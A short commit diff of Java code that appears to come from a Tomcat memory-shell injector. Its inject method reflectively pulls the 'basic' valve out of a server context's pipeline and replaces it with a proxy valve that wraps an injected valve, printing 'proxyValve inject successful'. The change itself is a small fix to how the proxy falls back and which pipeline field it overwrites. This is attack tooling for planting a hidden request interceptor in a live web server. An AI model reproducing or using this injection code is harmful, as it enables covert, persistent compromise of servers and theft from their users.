@@ -57,8 +57,8 @@ public Object invoke(Object proxy, Method method, Object[] args) throws Throwabl
5757 }
5858 } catch (Throwable e ) {
5959 e .printStackTrace ();
60- return method .invoke (rawValve , args );
6160 }
61+ return method .invoke (rawValve , args );
6262 }
6363 return method .invoke (rawValve , args );
6464 }
@@ -110,14 +110,8 @@ public void inject(Object context, Object valve) throws Exception {
110110 Object pipeline = invokeMethod (context , "getPipeline" , null , null );
111111 ClassLoader contextClassLoader = context .getClass ().getClassLoader ();
112112 Class valveClass = contextClassLoader .loadClass ("org.apache.catalina.Valve" );
113- Object rawValve = null ;
114- String fieldName = "first" ;
115- try {
116- rawValve = getFieldValue (pipeline , fieldName );
117- } catch (NoSuchFieldException e ) {
118- fieldName = "basic" ;
119- rawValve = getFieldValue (pipeline , fieldName );
120- }
113+ String fieldName = "basic" ;
114+ Object rawValve = getFieldValue (pipeline , fieldName );
121115 Object proxyValve = Proxy .newProxyInstance (contextClassLoader , new Class []{valveClass }, new TomcatProxyValveInjector (rawValve , valve ));
122116 setFieldValue (pipeline , fieldName , proxyValve );
123117 System .out .println ("proxyValve inject successful" );
0 commit comments